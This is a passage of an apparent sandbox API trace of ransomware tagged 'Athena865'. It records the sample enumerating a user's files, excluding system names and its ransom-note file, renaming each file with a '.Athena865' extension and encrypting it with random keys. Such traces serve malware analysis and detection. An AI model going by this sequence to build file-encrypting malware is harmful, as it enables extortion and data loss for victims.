Data\\d5hPdofRcff-.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d5hpdofrcff-.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d5hPdofRcff-.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d5hpdofrcff-.png.athena865"), dwFlags=0x1) returned 1 [0049.712] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d5hPdofRcff-.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d5hpdofrcff-.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.712] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52121) returned 1 [0049.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.713] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.713] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.713] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.714] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcea0, lpName=0x0) returned 0x154 [0049.714] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcea0) returned 0x100000 [0049.716] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.716] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.716] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.717] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.718] CloseHandle (hObject=0x154) returned 1 [0049.718] CloseHandle (hObject=0x17c) returned 1 [0049.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.719] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b4dc8b0, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xa8871880, ftLastAccessTime.dwHighDateTime=0x1d4c73f, ftLastWriteTime.dwLowDateTime=0xa8871880, ftLastWriteTime.dwHighDateTime=0x1d4c73f, nFileSizeHigh=0x0, nFileSizeLow=0x259a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d9d2zKK4Gxce2g-X2G.flv", cAlternateFileName="D9D2ZK~1.FLV")) returned 1 [0049.719] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.719] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.719] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2=".") returned 1 [0049.719] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="..") returned 1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="windows") returned -1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="bootmgr") returned 1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="temp") returned -1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="pagefile.sys") returned -1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="boot") returned 1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="ids.txt") returned -1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="ntuser.dat") returned -1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="perflogs") returned -1 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2="MSBuild") returned -1 [0049.720] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv") returned 22 [0049.720] lstrcpyW (in: lpString1=0x241e8c8, lpString2="d9d2zKK4Gxce2g-X2G.flv" | out: lpString1="d9d2zKK4Gxce2g-X2G.flv") returned="d9d2zKK4Gxce2g-X2G.flv" [0049.720] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv") returned 22 [0049.720] lstrlenW (lpString="Athena865") returned 9 [0049.720] lstrcmpiW (lpString1="g-X2G.flv", lpString2="Athena865") returned 1 [0049.720] lstrlenW (lpString=".dll") returned 4 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2=".dll") returned 1 [0049.720] lstrlenW (lpString=".lnk") returned 4 [0049.720] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2=".lnk") returned 1 [0049.720] lstrlenW (lpString=".ini") returned 4 [0049.721] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2=".ini") returned 1 [0049.721] lstrlenW (lpString=".sys") returned 4 [0049.721] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv", lpString2=".sys") returned 1 [0049.722] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv") returned 22 [0049.722] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d9d2zKK4Gxce2g-X2G.flv.Athena865") returned 96 [0049.722] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d9d2zKK4Gxce2g-X2G.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d9d2zkk4gxce2g-x2g.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d9d2zKK4Gxce2g-X2G.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d9d2zkk4gxce2g-x2g.flv.athena865"), dwFlags=0x1) returned 1 [0049.722] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\d9d2zKK4Gxce2g-X2G.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\d9d2zkk4gxce2g-x2g.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.723] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9626) returned 1 [0049.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.723] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.724] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.724] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.724] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28a0, lpName=0x0) returned 0x154 [0049.724] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28a0) returned 0x100000 [0049.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.725] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.725] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.726] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.726] CloseHandle (hObject=0x154) returned 1 [0049.726] CloseHandle (hObject=0x17c) returned 1 [0049.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.728] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8f8c1180, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0xa0094ee0, ftLastAccessTime.dwHighDateTime=0x1d4cf68, ftLastWriteTime.dwLowDateTime=0xa0094ee0, ftLastWriteTime.dwHighDateTime=0x1d4cf68, nFileSizeHigh=0x0, nFileSizeLow=0x3b46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EK5SC.ods", cAlternateFileName="")) returned 1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2=".") returned 1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="..") returned 1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="windows") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="bootmgr") returned 1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="temp") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="pagefile.sys") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="boot") returned 1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="ids.txt") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="ntuser.dat") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="perflogs") returned -1 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2="MSBuild") returned -1 [0049.728] lstrlenW (lpString="EK5SC.ods") returned 9 [0049.728] lstrcpyW (in: lpString1=0x241e8c8, lpString2="EK5SC.ods" | out: lpString1="EK5SC.ods") returned="EK5SC.ods" [0049.728] lstrlenW (lpString="EK5SC.ods") returned 9 [0049.728] lstrlenW (lpString="Athena865") returned 9 [0049.728] lstrlenW (lpString=".dll") returned 4 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2=".dll") returned 1 [0049.728] lstrlenW (lpString=".lnk") returned 4 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2=".lnk") returned 1 [0049.728] lstrlenW (lpString=".ini") returned 4 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2=".ini") returned 1 [0049.728] lstrlenW (lpString=".sys") returned 4 [0049.728] lstrcmpiW (lpString1="EK5SC.ods", lpString2=".sys") returned 1 [0049.728] lstrlenW (lpString="EK5SC.ods") returned 9 [0049.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\EK5SC.ods.Athena865") returned 83 [0049.729] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\EK5SC.ods" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\ek5sc.ods"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\EK5SC.ods.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\ek5sc.ods.athena865"), dwFlags=0x1) returned 1 [0049.729] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\EK5SC.ods.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\ek5sc.ods.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.729] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15174) returned 1 [0049.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.730] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.730] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.731] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e50, lpName=0x0) returned 0x154 [0049.731] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e50) returned 0x100000 [0049.731] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.732] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.732] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.733] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.733] CloseHandle (hObject=0x154) returned 1 [0049.733] CloseHandle (hObject=0x17c) returned 1 [0049.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.734] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57fd5970, ftCreationTime.dwHighDateTime=0x1d4c8c9, ftLastAccessTime.dwLowDateTime=0x10ca72e0, ftLastAccessTime.dwHighDateTime=0x1d4cb12, ftLastWriteTime.dwLowDateTime=0x10ca72e0, ftLastWriteTime.dwHighDateTime=0x1d4cb12, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fw6HFXXMnHNIBn.flv", cAlternateFileName="FW6HFX~1.FLV")) returned 1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2=".") returned 1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="..") returned 1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="windows") returned -1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="bootmgr") returned 1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="temp") returned -1 [0049.734] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="pagefile.sys") returned -1 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="boot") returned 1 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="ids.txt") returned -1 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="ntuser.dat") returned -1 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="perflogs") returned -1 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2="MSBuild") returned -1 [0049.735] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv") returned 18 [0049.735] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Fw6HFXXMnHNIBn.flv" | out: lpString1="Fw6HFXXMnHNIBn.flv") returned="Fw6HFXXMnHNIBn.flv" [0049.735] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv") returned 18 [0049.735] lstrlenW (lpString="Athena865") returned 9 [0049.735] lstrcmpiW (lpString1="HNIBn.flv", lpString2="Athena865") returned 1 [0049.735] lstrlenW (lpString=".dll") returned 4 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2=".dll") returned 1 [0049.735] lstrlenW (lpString=".lnk") returned 4 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2=".lnk") returned 1 [0049.735] lstrlenW (lpString=".ini") returned 4 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2=".ini") returned 1 [0049.735] lstrlenW (lpString=".sys") returned 4 [0049.735] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv", lpString2=".sys") returned 1 [0049.735] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv") returned 18 [0049.735] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Fw6HFXXMnHNIBn.flv.Athena865") returned 92 [0049.735] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Fw6HFXXMnHNIBn.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\fw6hfxxmnhnibn.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Fw6HFXXMnHNIBn.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\fw6hfxxmnhnibn.flv.athena865"), dwFlags=0x1) returned 1 [0049.736] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Fw6HFXXMnHNIBn.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\fw6hfxxmnhnibn.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.736] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4309) returned 1 [0049.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.737] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.737] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.737] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.737] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x154 [0049.738] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x100000 [0049.738] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.739] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.739] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.743] lstrcpyW (in: lpString1=0x241e8c8, lpString2="F_JHQXHoFikx8FkJ.mkv" | out: lpString1="F_JHQXHoFikx8FkJ.mkv") returned="F_JHQXHoFikx8FkJ.mkv" [0049.743] lstrlenW (lpString="F_JHQXHoFikx8FkJ.mkv") returned 20 [0049.743] lstrlenW (lpString="Athena865") returned 9 [0049.743] lstrcmpiW (lpString1="x8FkJ.mkv", lpString2="Athena865") returned 1 [0049.743] lstrlenW (lpString=".dll") returned 4 [0049.743] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv", lpString2=".dll") returned 1 [0049.743] lstrlenW (lpString=".lnk") returned 4 [0049.743] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv", lpString2=".lnk") returned 1 [0049.743] lstrlenW (lpString=".ini") returned 4 [0049.743] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv", lpString2=".ini") returned 1 [0049.743] lstrlenW (lpString=".sys") returned 4 [0049.743] lstrcmpiW (lpString1="F_JHQXHoFikx8FkJ.mkv", lpString2=".sys") returned 1 [0049.743] lstrlenW (lpString="F_JHQXHoFikx8FkJ.mkv") returned 20 [0049.744] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\F_JHQXHoFikx8FkJ.mkv.Athena865") returned 94 [0049.744] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\F_JHQXHoFikx8FkJ.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\f_jhqxhofikx8fkj.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\F_JHQXHoFikx8FkJ.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\f_jhqxhofikx8fkj.mkv.athena865"), dwFlags=0x1) returned 1 [0049.744] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\F_JHQXHoFikx8FkJ.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\f_jhqxhofikx8fkj.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.744] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40972) returned 1 [0049.745] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.745] CryptGenRandom (in: 